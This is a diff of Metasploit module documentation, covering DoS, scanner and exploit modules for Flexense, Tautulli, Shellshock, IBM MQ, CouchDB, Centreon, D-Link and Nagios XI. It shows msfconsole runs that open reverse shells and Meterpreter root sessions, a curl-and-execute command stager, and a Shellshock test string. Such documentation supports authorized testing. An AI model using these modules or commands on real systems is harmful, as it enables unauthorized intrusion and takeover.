a write access memory vialation via rapidly sending HTTP requests with large HTTP header values.
## Verification Steps
According To publicly exploit Disclosure of Flexense HTTP Server v10.6.24
Following list of softwares are vulnerable to Denial Of Service.
read more : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8065
DiskBoss Enterprise <= v9.0.18
Sync Breeze Enterprise <= v10.6.24
Disk Pulse Enterprise <= v10.6.24
@@ -16,8 +16,7 @@ Disk Savvy Enterprise <= v10.6.24
Dup Scout Enterprise <= v10.6.24
VX Search Enterprise <= v10.6.24
**Vulnerable Application Link**
**Vulnerable Application Link**
http://www.diskboss.com/downloads.html
http://www.syncbreeze.com/downloads.html
http://www.diskpulse.com/downloads.html
@@ -25,7 +24,8 @@ http://www.disksavvy.com/downloads.html
http://www.dupscout.com/downloads.html
## Vulnerable Application Installation Setup.
### Installation Setup.
All Flexense applications that are listed above can be installed by following these steps.
Download Application : ```https://github.com/EgeBalci/Sync_Breeze_Enterprise_10_6_24_-DOS/raw/master/syncbreezeent_setup_v10.6.24.exe```
@@ -51,7 +51,9 @@ Check the box saying: ```Enable web server on port:...```
8. Web server will crash after 200-1000 request depending on the OS version and system memory.
## Scenarios
**TESTED AGAINST WINDOWS 7/10**
### WINDOWS 7/10
```
msf5 > use auxiliary/dos/http/flexense_http_server_dos
msf5 auxiliary(dos/http/flexense_http_server_dos) > set rhost 192.168.1.27
@@ -6,7 +6,7 @@ Versions before 0.3.19 are vulnerable.
Any application that uses a vulnerable version of this module and passes untrusted input
to the module will be vulnerable.
## How to Install
### How to Install
To install a vulnerable version of `marked`, run:
```
@@ -15,8 +15,6 @@ npm i marked@0.3.19
## Verification Steps
Example steps in this format (is also in the PR):
1. Create a new directory for test application.
2. Copy below example server into test application directory as `server.js`.
3. Run `npm i express` to install express in the test application directory.
@@ -0,0 +1,16 @@
## Vulnerable Application
Tautulli versions 2.1.9 and prior are vulnerable to denial of service via the `/shutdown` URL in applications that do
not have a user login area enabled.
## Scenario
![72550314-80cd8a00-38a3-11ea-9bad-942668a29390](https://user-images.githubusercontent.com/15425071/72602337-29bdc880-3928-11ea-8aec-ddadb3ff4f2d.png)
## Verification Steps :
List the steps needed to make sure this thing works
1. Start ```msfconsole```
2. ```use auxiliary/dos/http/tautulli_shutdown_exec```
3. ```set RHOSTS XXX.XXX.XXX.XXX```
4. ```run```
@@ -6,7 +6,7 @@ Any application that uses a vulnerable version of this module and calls the `get
or `getResult` functions will be vulnerable to this module. An example server is provided
below.
## How to Install
### How to Install
To install a vulnerable version of `ua-parser-js`, run:
```
@@ -15,8 +15,6 @@ npm i ua-parser-js@0.7.15
## Verification Steps
Example steps in this format (is also in the PR):
1. Create a new directory for test application.
2. Copy below example server into test application directory as `server.js`.
3. Run `npm i express` to install express in the test application directory.
@@ -10,18 +10,14 @@
## Verification Steps
Example steps in this format (is also in the PR):
1. Start msfconsole
1. Do: `use auxiliary/dos/smb/smb_loris`
1. Do: `set rhost [IP]`
1. Do: `run`
1. Target should allocate increasing amounts of memory.
2. Do: `use auxiliary/dos/smb/smb_loris`
3. Do: `set rhost [IP]`
4. Do: `run`
5. Target should allocate increasing amounts of memory.
## Scenarios
###
```
msf auxiliary(smb_loris) > use auxiliary/dos/smb/smb_loris
msf auxiliary(smb_loris) > set RHOST 192.168.172.138
@@ -1,9 +1,9 @@
# Chrome Debugger Arbitary File Read / Abitrary Web Request Auxiliary Module
## Vulnerable Application
This module takes advantage of misconfigured headless chrome sessions and either retrieves a specified file off the remote file system, or makes a web request from the remote machine.
## Headless Chrome Sessions
This can be useful for retrieving cloud metadata in certain scenarios. Primarily this module targets developers.
A vulnerable Headless Chrome session can be started with the following command:
```
@@ -13,7 +13,7 @@ $ google-chrome --remote-debugging-port=9222 --headless --remote-debugging-addre
This will start a webserver running on port 9222 for all network interfaces.
## Verification Steps
1. Start `msfconsole`
2. Execute `auxiliary/gather/chrome_debugger`
3. Execute `set RHOST $REMOTE_ADDRESS`
@@ -23,12 +23,17 @@ This will start a webserver running on port 9222 for all network interfaces.
## Options
* FILEPATH - The file path on the remote you wish to retrieve
* URL - A URL you wish to fetch the contents of from the remote machine
**FILEPATH**
The file path on the remote you wish to retrieve.
**URL**
A URL you wish to fetch the contents of from the remote machine.
**Note:** One or the other must be set!
## Example Run
## Scenarios
```
[*] Attempting Connection to ws://192.168.20.168:9222/devtools/page/CF551031373306B35F961C6C0968DAEC
@@ -40,7 +45,3 @@ This will start a webserver running on port 9222 for all network interfaces.
[+] Retrieved resource
[*] Auxiliary module execution completed
```
## Notes
This can be useful for retrieving cloud metadata in certain scenarios. Primarily this module targets developers.
@@ -0,0 +1,108 @@
## Vulnerable Application
This module scans for the Shellshock vulnerability, a flaw in how the Bash shell handles external
environment variables. This module targets CGI scripts in the Apache web server by setting
the `HTTP_USER_AGENT` environment variable to a malicious function definition.
### Creating a Vulnerable Environment
To setup an Environment that the scanner can be run against, follow the below steps to install a
vulnerable OS and Apache version.
To ensure that you have a vulnerable version of bash:
1. Install [Ubuntu 12.04.5 LTS](http://cdimage.ubuntu.com/releases/12.04/release/)
2. Log into console
3. Confirm the host is vulnerable (see next section)
4. Also install Apache2 from the apt repository with the following command
```
sudo apt-get install apache2
```
5. Enable cgi-mod in apache with the following command
```
sudo ln -s /etc/apache2/mods-available/cgi.load /etc/apache2/mods-enabled/cgi.load
```
6. Restart the apache service with the following command
```
sudo service apache2 reload
```
7. In your favorite text editor create a file (as root) in `/usr/lib/cgi-bin` called `test.sh` with the following contents:
```
#!/bin/bash
printf "Content-type: text/html\n\n"
printf "Test!\n"
```
8. Set the file to be executable with the following command
```
sudo chmod +x /usr/lib/cgi-bin/test.sh
```
### To check if a host is vulnerable to the attack
1. Run (on the host)
```
env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test"
```
2. The shell will return the below text if the environment is vulnerable
```
vulnerable
bash: BASH_FUNC_x(): line 0: syntax error near unexpected token `)'
bash: BASH_FUNC_x(): line 0: `BASH_FUNC_x() () { :;}; echo vulnerable'
bash: error importing function definition for `BASH_FUNC_x'
test
```
## Verification Steps
1. Do: run `msfconsole`
2. Do: use `auxiliary/scanner/http/apache_mod_cgi_bash_env`
3. Do: set `RHOSTS [IP]`
4. Do: set `TARGETURI [URI]`
5. Do: `run`
## Options
**CMD**
This is the command that will be run by the scanner. The default setting is `/usr/bin/id`.
**CVE**
This is the CVE that will be used to exploit the vulnerability.
The default setting is `CVE-2014-6271` but valid options are `CVE-2014-6271` or `CVE-2014-6278`.
**HEADER**
This is the user agent string that is sent when the module is run. The default setting is `User-Agent`.
**METHOD**
This is HTTP method used by the module. The default setting is `GET`.
## Scenarios
### Ubuntu 12.04.5 LTS on Apache 2.2.22
```
msf5 > use auxiliary/scanner/http/apache_mod_cgi_bash_env
msf5 auxiliary(scanner/http/apache_mod_cgi_bash_env) > set RHOSTS 172.16.131.134
RHOSTS => 172.16.131.134
msf5 auxiliary(scanner/http/apache_mod_cgi_bash_env) > set TARGETURI /cgi-bin/test.sh
TARGETURI => /cgi-bin/test.sh
msf5 auxiliary(scanner/http/apache_mod_cgi_bash_env) > exploit
[+] uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,141 @@
## Vulnerable Application
### Description
This module checks to see whether or not the scanned systems return the HSTS header to enforce HSTS.
### Install on Ubuntu 18.04 LTS
sudo apt-get install apache2
sudo service apache2 start
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/apache-selfsigned.key -out /etc/ssl/certs/apache-selfsigned.crt
sudo openssl dhparam -out /etc/ssl/certs/dhparam.pem 2048
Once this is done place the following content into `/etc/apache2/conf-available/ssl-params.conf`:
# from https://cipherli.st/
# and https://raymii.org/s/tutorials/Strong_SSL_Security_On_Apache2.html
SSLCipherSuite EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH
SSLProtocol All -SSLv2 -SSLv3
SSLHonorCipherOrder On
# Disable preloading HSTS for now. You can use the commented out header line that includes
# the "preload" directive if you understand the implications.
#Header always set Strict-Transport-Security "max-age=63072000; includeSubdomains; preload"
Header always set Strict-Transport-Security "max-age=63072000; includeSubdomains"
Header always set X-Frame-Options DENY
Header always set X-Content-Type-Options nosniff
# Requires Apache >= 2.4
SSLCompression off
SSLSessionTickets Off
SSLUseStapling on
SSLStaplingCache "shmcb:logs/stapling-cache(150000)"
SSLOpenSSLConfCmd DHParameters "/etc/ssl/certs/dhparam.pem"
Then execute the following:
sudo cp /etc/apache2/sites-available/default-ssl.conf /etc/apache2/sites-available/default-ssl.conf.bak
Place the following in `/etc/apache2/sites-available/default-ssl.conf`:
```
&lt;IfModule mod_ssl.c>
&lt;VirtualHost _default_:443>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/certs/apache-selfsigned.crt
SSLCertificateKeyFile /etc/ssl/private/apache-selfsigned.key
&lt;FilesMatch "\.(cgi|shtml|phtml|php)$">
SSLOptions +StdEnvVars
&lt;/FilesMatch>
&lt;Directory /usr/lib/cgi-bin>
SSLOptions +StdEnvVars
&lt;/Directory>
BrowserMatch "MSIE [2-6]" \
nokeepalive ssl-unclean-shutdown \
downgrade-1.0 force-response-1.0
&lt;/VirtualHost>
&lt;/IfModule>
```
Place the following in `/etc/apache2/sites-available/000-default.conf`:
&lt;VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
&lt;/VirtualHost>
Finally, execute the following commands:
sudo service apache2 stop
sudo a2enmod ssl
sudo a2enmod headers
sudo a2ensite default-ssl
sudo a2enconf ssl-params
sudo apache2ctl configtest
sudo service apache2 restart
## Verification Steps
1. Do: ```use auxiliary/scanner/http/http_hsts```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [PORT]```
4. Do: ```run```
## Options
## Scenarios
### Apache 2.4.29 on Ubuntu 18.04 LTS
Install using following instructions for Ubuntu listed above.
```
msf5 > use auxiliary/scanner/http/http_hsts
msf5 auxiliary(scanner/http/http_hsts) > set RHOSTS 192.168.90.91
RHOSTS => 192.168.90.91
msf5 auxiliary(scanner/http/http_hsts) > run
[+] 192.168.90.91:443 - Strict-Transport-Security:max-age=63072000; includeSubdomains
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/http_hsts) >
```
### Confirming using Nmap
```
tekwizz123@DESKTOP-VF1AJQB:~$ nmap 192.168.90.91 -p 443 --script http-security-headers
Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-31 00:30 CDT
Nmap scan report for 192.168.90.91
Host is up (0.0034s latency).
PORT STATE SERVICE
443/tcp open https
| http-security-headers:
| Strict_Transport_Security:
| Header: Strict-Transport-Security: max-age=63072000; includeSubdomains
| X_Frame_Options:
| Header: X-Frame-Options: DENY
| Description: The browser must not display this content in any frame.
| X_Content_Type_Options:
| Header: X-Content-Type-Options: nosniff
|_ Description: Will prevent the browser from MIME-sniffing a response away from the declared content-type.
Nmap done: 1 IP address (1 host up) scanned in 1.25 seconds
```
@@ -11,8 +11,6 @@
## Verification Steps
Example steps in this format (is also in the PR):
1. Install IBM MQ Server 7.5, 8, or 9
2. Start msfconsole
3. Do: ```use auxiliary/scanner/misc/ibm_mq_channel_brute```
@@ -21,7 +19,17 @@
6. Do: ```set rport <port>```
7. Do: ```run```
Example output:
## Options
**The CHANNELS_FILE option**
This option should contain the path to a text file which contains a list of channel names that will be checked. One channel name per line.
## Scenarios
This module can be used to identify a list of channel names that are configured on the Queue Manager. Additionally, the module will return whether each identified channel uses SSL and if it MQI type.
After obtaining a list of valid channel names, these can be used to further enumerate the MQ installation. For example, the ibm_mq_enum module can be executed using a valid channel name in order to obtain information regarding the Queue Manager.
```
msf auxiliary(scanner/misc/ibm_mq_channel_brute) > run
@@ -35,14 +43,3 @@
[*] Auxiliary module execution completed
```
## Options
**The CHANNELS_FILE option**
This option should contain the path to a text file which contains a list of channel names that will be checked. One channel name per line.
## Scenarios
This module can be used to identify a list of channel names that are configured on the Queue Manager. Additionally, the module will return whether each identified channel uses SSL and if it MQI type.
After obtaining a list of valid channel names, these can be used to further enumerate the MQ installation. For example, the ibm_mq_enum module can be executed using a valid channel name in order to obtain information regarding the Queue Manager.
@@ -1,5 +1,6 @@
## Vulnerable Application
* IBM Downloads page: https://developer.ibm.com/messaging/mq-downloads/
* IBM Downloads page: https://developer.ibm.com/messaging/mq-downloads/
* Tested on IBM MQ 7.5, 8 and 9
* Usage:
* Download and install MQ Server
@@ -8,7 +9,7 @@
* Run the module
## Verification Steps
Example steps in this format (is also in the PR):
1. Install IBM MQ Server 7.5, 8, or 9
2. Start msfconsole
3. Do: ```use auxiliary/scanner/misc/ibm_mq_enum```
@@ -16,8 +17,16 @@
5. Do: ```set rhosts <target_IP>```
6. Do: ```set rport <port>```
7. Do: ```run```
Example output:
## Options
### CHANNEL
This option should contain the name of a valid MQ channel. This can be obtained using the module ```auxiliary/scanner/misc/ibm_mq_channel_brute```
## Scenarios
This module can be used to obtain the Queue Manager name as well as the version of the MQ being used on the target host. When the Queue Manager name and a valid MQI channel name without SSL is known , the module ```auxiliary/scanner/misc/ibm_mq_login``` can be used to identify usernames that can authenticate to the Queue Manager.
```
msf auxiliary(scanner/misc/ibm_mq_enum) > run
@@ -26,11 +35,3 @@ msf auxiliary(scanner/misc/ibm_mq_enum) > run
[*] Auxiliary module execution completed
```
## Options
**The CHANNEL option**
This option should contain the name of a valid MQ channel. This can be obtained using the module ```auxiliary/scanner/misc/ibm_mq_channel_brute```
## Scenarios
This module can be used to obtain the Queue Manager name as well as the version of the MQ being used on the target host. When the Queue Manager name and a valid MQI channel name without SSL is known , the module ```auxiliary/scanner/misc/ibm_mq_login``` can be used to identify usernames that can authenticate to the Queue Manager.
@@ -9,8 +9,8 @@
* Allow remote connections for admin users by removing the CHLAUTH record that denies all users or configure access for a specific username.
* Run the module
## Verification Steps
Example steps in this format (is also in the PR):
## Verification Steps
1. Install IBM MQ Server 7.5, 8, or 9
2. Start msfconsole
3. Do: ```use auxiliary/scanner/misc/ibm_mq_login```
@@ -21,7 +21,27 @@
7. Do: ```set rport <port>```
8. Do: ```run```
Example output:
## Options
### USERNAMES_FILE
This option should contain the path to a text file which contains a list of usernames that will be checked. One username per line.
### QUEUE_MANAGER
This option should contain the name of the target Queue Manager.
### CHANNEL
This option should contain the name of a server-connection channel that will be used to connect to the Queue Manager.
## Scenarios
This module can be used to identify a list of usernames that are allowed to connect to the Queue Manager. This module requires the name of a valid server-connection channel, the Queue Manager's name which can be obtained by running the following 2 modules:
* ```auxiliary/scanner/misc/ibm_mq_channel_brute```
* ```auxiliary/scanner/misc/ibm_mq_enum```
After identifying a valid username, MQ Explorer can be used to connect to the Queue Manager using the information gathered.
```
msf auxiliary(scanner/misc/ibm_mq_login) > run
@@ -33,21 +53,3 @@ msf auxiliary(scanner/misc/ibm_mq_login) > run
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## Options
**The USERNAMES_FILE option**
This option should contain the path to a text file which contains a list of usernames that will be checked. One username per line.
**The QUEUE_MANAGER option**
This option should contain the name of the target Queue Manager.
**The CHANNEL option**
This option should contain the name of a server-connection channel that will be used to connect to the Queue Manager.
## Scenarios
This module can be used to identify a list of usernames that are allowed to connect to the Queue Manager. This module requires the name of a valid server-connection channel, the Queue Manager's name which can be obtained by running the following 2 modules:
* ```auxiliary/scanner/misc/ibm_mq_channel_brute```
* ```auxiliary/scanner/misc/ibm_mq_enum```
After identifying a valid username, MQ Explorer can be used to connect to the Queue Manager using the information gathered.
@@ -1,6 +1,9 @@
## Description
CouchDB administrative users can configure the database server via HTTP(S).Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,including downloading and executing scripts from the public internet.
CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options
include paths for operating system-level binaries that are subsequently launched by CouchDB.
This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell
commands as the CouchDB user,including downloading and executing scripts from the public internet.
## Vulnerable Application
@@ -12,15 +15,13 @@ Couchdb 2.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635
Couchdb 1.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12636
## Vulnerable Application Installation Setup.
### Vulnerable Application Installation Setup.
Change dictory to CVE-2017-1263X, and run `docker-compose up -d`
## Verification Steps
Example steps in this format (is also in the PR):
1. Install the application
2. Start msfconsole
3. Do: ```use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb```
@@ -37,18 +38,18 @@ Change dictory to CVE-2017-1263X, and run `docker-compose up -d`
## Options
- URIPATH
### URIPATH
``URIPATH`` by default is random, you can change it if you want.
- HttpUsername, HttpPassword
### HttpUsername, HttpPassword
Sometimes it requires authentication, set these options to authorize.
Sometimes it requires authentication, set these options to authorize.
## Scenarios
TESTED AGAINST LINUX
### Apache CouchDB on Linux
```
msf5 > use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb
@@ -0,0 +1,101 @@
## Vulnerable Application
Centreon is an open source IT monitoring solution by Centreon, a leading Paris-based software company.
An authenticated user with sufficient administrative rights to manage pollers can use this functionality to
execute arbitrary commands remotely. Usually, the miscellaneous commands are used by the additional modules
(to perform certain actions), by the scheduler for data processing, etc.
This module uses this functionality to obtain a remote shell on the target.
Tested on:
* [Centreon 19.10.8](http://vm.download.centreon.com/centreon-vbox-vm-19_10-3.el7.ovf.zip)
* [Centreon 19.10.5](http://vm.download.centreon.com/centreon-vbox-vm-19_10-1.el7.ovf.zip)
## Verification Steps
1. Install the module as usual
2. Start msfconsole
3. Do: `use exploit/linux/http/centreon_pollers_auth_rce`
4. Do: `set RHOSTS [IP]`
5. Do: `set LHOST [IP]`
6. Do: `set USERNAME [USERNAME]`
7. Do: `sat PASSWORD [PASSWORD]`
8. Do: `set VERBOSE true`
9. Do: `run`
## Scenarios
```
msf5 > use exploit/linux/http/centreon_pollers_auth_rce
msf5 exploit(linux/http/centreon_pollers_auth_rce) > set rhosts [IP]
rhosts => [IP]
msf5 exploit(linux/http/centreon_pollers_auth_rce) > set username admin
username => admin
msf5 exploit(linux/http/centreon_pollers_auth_rce) > set password centreon
password => centreon
msf5 exploit(linux/http/centreon_pollers_auth_rce) > set lhost [IP]
lhost => [IP]
msf5 exploit(linux/http/centreon_pollers_auth_rce) > set verbose true
verbose => true
msf5 exploit(linux/http/centreon_pollers_auth_rce) > run
[*] Started reverse TCP handler on XXX.XXX.XXX.XXX:4444
[*] Send authentication request.
[*] Successful authenticated.
[*] Upload command payload on the target.
[*] Create new poller entry on the target.
[*] Reload the poller to trigger exploitation.
[*] -- Generating files.
[*] -- Restarting engine.
[*] -- Executing command.
[*] Command shell session 1 opened (XXX.XXX.XXX.XXX:4444 -> XXX.XXX.XXX.XXX:59624) at 2020-02-03 17:41:13 +0400
id
uid=48(apache) gid=48(apache) groups=48(apache),993(centreon-engine),994(centreon-broker),998(centreon),999(nagios)
--or--
msf5 exploit(linux/http/centreon_pollers_auth_rce) > set target 1
target => 1
msf5 exploit(linux/http/centreon_pollers_auth_rce) > run
[*] Started reverse TCP handler on XXX.XXX.XXX.XXX:4444
[*] Send authentication request.
[*] Successful authenticated.
[*] Using URL: http://0.0.0.0:8080/fNqJS82wB
[*] Local IP: http://XXX.XXX.XXX.XXX:8080/fNqJS82wB
[*] Generated command stager: ["curl -so /tmp/MBoYQsJv http://XXX.XXX.XXX.XXX:8080/fNqJS82wB;chmod +x /tmp/MBoYQsJv;/tmp/MBoYQsJv;rm -f /tmp/MBoYQsJv"]
[*] Upload command payload on the target.
[*] Create new poller entry on the target.
[*] Reload the poller to trigger exploitation.
[*] -- Generating files.
[*] -- Restarting engine.
[*] -- Executing command.
[*] Client XXX.XXX.XXX.XXX (curl/7.29.0) requested /fNqJS82wB
[*] Sending payload to XXX.XXX.XXX.XXX (curl/7.29.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3021284 bytes) to XXX.XXX.XXX.XXX
[*] Meterpreter session 2 opened (XXX.XXX.XXX.XXX:4444 -> XXX.XXX.XXX.XXX:60536) at 2020-02-03 17:44:47 +0400
[*] Server stopped.
meterpreter > getuid
Server username: uid=48, gid=48, euid=48, egid=48
meterpreter >
```
## Targets
```
Id Name
-- ----
0 Reverse shell (In-Memory)
1 Meterpreter (Dropper)
```
## References
1. <https://www.exploit-db.com/exploits/47969>
2. <https://www.exploit-db.com/exploits/47977>
3. <https://www.exploit-db.com/exploits/47978>
@@ -0,0 +1,63 @@
# DLINK DWL-2600 Authenticated Command Injection
## Overview
DLINK DWL-2600 WiFi Access Points contain an authenticated command injection vulnerability. This vulnerability was originally discovered by RAKI BEN HAMOUDA and posted to exploit db here: [https://www.exploit-db.com/exploits/46841](https://www.exploit-db.com/exploits/46841). Original testing was performed against firmware version `4.2.0.15` though other versions are likely affected.
## Options
### HttpUsername
Defaults to admin, this is the username that is used to authenticate to the device
### HttpPassword
Defaults to admin, this is hte password that is used to authenticate to the device
### DOWNHOST
Alternative host to request MIPS payload from.
### DOWNFILE
File name to download - defaults to a random value.
### HTTP_DELAY
Time that the HTTP Server will wait for the ELF payload request.
In addition you will probably want to set `LHOST` and `SRVHOST`.
## Payloads
```
msf5 exploit(linux/http/dlink_dwl_2600_command_injection) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 generic/custom normal No Custom Payload
1 generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 linux/mipsle/exec normal No Linux Execute Command
4 linux/mipsle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
5 linux/mipsle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
6 linux/mipsle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
7 linux/mipsle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
8 linux/mipsle/reboot normal No Linux Reboot
9 linux/mipsle/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
10 linux/mipsle/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
11 linux/mipsle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
```
## Scenarios
```
msf5 exploit(linux/http/dlink_dwl_2600_command_injection) > exploit
[*] Started reverse TCP handler on 192.168.0.101:4444
[*] 192.168.0.100:80 - Trying to login with admin / admin
[+] 192.168.0.100:80 - Successful login admin/admin
[+] 192.168.0.100:80 - Received Auth token: SAZxUXJsuDwQDVhqLayWvGZNlWDIODhi
[*] Using URL: http://0.0.0.0:8080/mnHnGuZ0euTGyf5
[*] Local IP: http://192.168.0.101:8080/mnHnGuZ0euTGyf5
[*] Sending CGI payload using token: SAZxUXJsuDwQDVhqLayWvGZNlWDIODhi
[*] Client 192.168.0.100 (Wget) requested /mnHnGuZ0euTGyf5
[*] Sending payload to 192.168.0.100 (Wget)
[*] Command Stager progress - 54.24% done (64/118 bytes)
[*] Sending CGI payload using token: SAZxUXJsuDwQDVhqLayWvGZNlWDIODhi
[*] Command Stager progress - 72.88% done (86/118 bytes)
[*] Sending CGI payload using token: SAZxUXJsuDwQDVhqLayWvGZNlWDIODhi
[*] Command shell session 3 opened (192.168.0.101:4444 -> 192.168.0.100:33318) at 2020-03-26 20:10:26 -0500
[*] Server stopped.
```
@@ -21,8 +21,6 @@ gcc ./cgitest.c -o cgi-bin/cgitest
## Verification Steps
Example steps in this format (is also in the PR):
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/linux/http/goahead_ldpreload```
@@ -10,15 +10,13 @@ This module exploits an unauthenticated command execution vulnerability in Apach
https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
## Vulnerable Application Installation Setup.
### Vulnerable Application Installation Setup.
Change dictory to `vulhub/hadoop/unauthorized-yarn`, and run `docker-compose up -d`
## Verification Steps
Example steps in this format (is also in the PR):
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/linux/http/hadoop_unauth_exec```
@@ -1,4 +1,5 @@
## Vulnerable Application
This module exploits a SQL injection and command injection vulnerability in MicroFocus Secure Messaging
Gateway. An unauthenticated user can execute a terminal command under the context of the web user.
@@ -11,7 +12,7 @@ endpoint without having a valid session.
Combining these vulnerabilities gives the opportunity execute operation system commands under the
context of the web user.
## Vulnerable Application Installation Steps
### Installation Steps
Complete the following trial submission form. You will be able to [download the product as a OVA or ISO file](https://www.microfocus.com/products/secure-gateway/trial/).
Installation instructions can be [found here](https://www.microfocus.com/documentation/secure-messaging-gateway/GWAVA%207.0/secure-gateway.pdf).
@@ -111,4 +112,4 @@ msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > run
meterpreter > pwd
/opt/gwava/gwavaman/http/admin/contents/ou
meterpreter >
```
```
@@ -0,0 +1,96 @@
## Introduction
This module exploits a vulnerability in Nagios XI before 5.6.6 in order to execute arbitrary commands as root.
The module first checks if the supplied credentials are valid and belong to a user with permissions to modify plugins. It then exploits these permissions by uploading a malicious plugin to the target and subsequently sending an HTTP GET request to profile.php?cmd=download. This request downloads a system profile from the server and in the process launches the getprofile.sh script as root via a passwordless sudo entry. This script executes the malicious plugin as root.
For all supported targets except `Linux (cmd)`, the module uses a command stager to write the exploit to the target via the malicious plugin. However, this method may not work if Nagios XI is running in a restricted Unix environment like a minimal/custom CentOS installation. In the latter case, the target must be set to `Linux (cmd)`. For this target, the module writes the payload directly to the malicious plugin while avoiding commands that may not be supported in a restricted environment. It is recommended to use the target's default `cmd/unix/reverse_bash` payload in this scenario.
If the target is found to be vulnerable but the module completes without establishing a session, try increasing the value of `WfsDelay` (the additional delay when waiting for a session). The default value of this advanced option is 10 seconds. To check it, run `show advanced`. Other possible solutions are changing the payload, manually setting the value of the `CMDSTAGER::FLAVOR` advanced option, and setting the target to `Linux (cmd)` as explained above.
Valid credentials for a user with administrative privileges are required. This module was successfully tested on Nagios XI 5.6.5 running on CentOS 7. Please note that the module may behave differently when run against older versions of Nagios XI. For instance, during a test against Nagios XI 5.4.10, the module failed to trigger execution of the payload. Instead, the payload was executed randomly after a period of time (up to 5 minutes). Moreover, the session that was ultimately established, was not a root session.
## Vulnerable system
Nagios XI before 5.6.6.
## Verification Steps
1. Install the module as usual
2. Start msfconsole
3. Do: `use exploit/linux/http/nagiosxi_authenticated_rce`
4. Do: `set RHOSTS [IP]`
5. Do: `set SRVHOST [IP]`
6. Do: `set USERNAME [username]`
7. Do: `set PASSWORD [password]`
8. Do: `set payload [payload]`
9. Do: `set LHOST [IP]`
10. Do: `set LPORT [port]`
11. Do: `exploit`
## Options
1. `USERNAME`. The username to authenticate with. This user should have permissions to modify plugins. The default setting is `nagiosadmin`, which is the default admin account for Nagios XI systems.
2. `PASSWORD`. The password to authenticate with.
## Targets
0. Linux (x86)
1. Linux (x64) # This is the default target.
2. Linux (cmd) # If wget is not installed on the target, this target should be selected together with the payload cmd/unix/reverse_bash.
## Scenarios
```
msf5 exploit(linux/http/nagiosxi_authenticated_rce) > show options
Module options (exploit/linux/http/nagiosxi_authenticated_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD P@ssw0rd! yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 192.168.1.2 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path to NagiosXI
URIPATH no The URI to use for this exploit (default is random)
USERNAME nagiosadmin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.2 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux (x64)
msf5 exploit(linux/http/nagiosxi_authenticated_rce) > run
[*] Started reverse TCP handler on 192.168.1.2:4444
[*] Found Nagios XI application with version 5.6.5.
[*] Using URL: http://192.168.1.2:8080/eFFP5lYvZ8eCnR0
[*] Uploading malicious 'check_ping' plugin...
[*] Command Stager progress - 100% done (121/121 bytes)
[+] Successfully uploaded plugin.
[*] Executing plugin...
[*] Waiting for the plugin to request the final payload...
[*] Client 192.168.1.1 (Wget/1.14 (linux-gnu)) requested /eFFP5lYvZ8eCnR0
[*] Sending payload to 192.168.1.1 (Wget/1.14 (linux-gnu))
[*] Sending stage (3021284 bytes) to 192.168.1.1
[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.1:56510) at 2020-02-27 16:27:49 +0100
[*] Deleting malicious 'check_ping' plugin...
[+] Plugin deleted.
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```
## References
1. <https://github.com/jakgibb/nagiosxi-root-rce-exploit>
2. <https://nvd.nist.gov/vuln/detail/CVE-2019-15949>
@@ -0,0 +1,77 @@
## Vulnerable Application
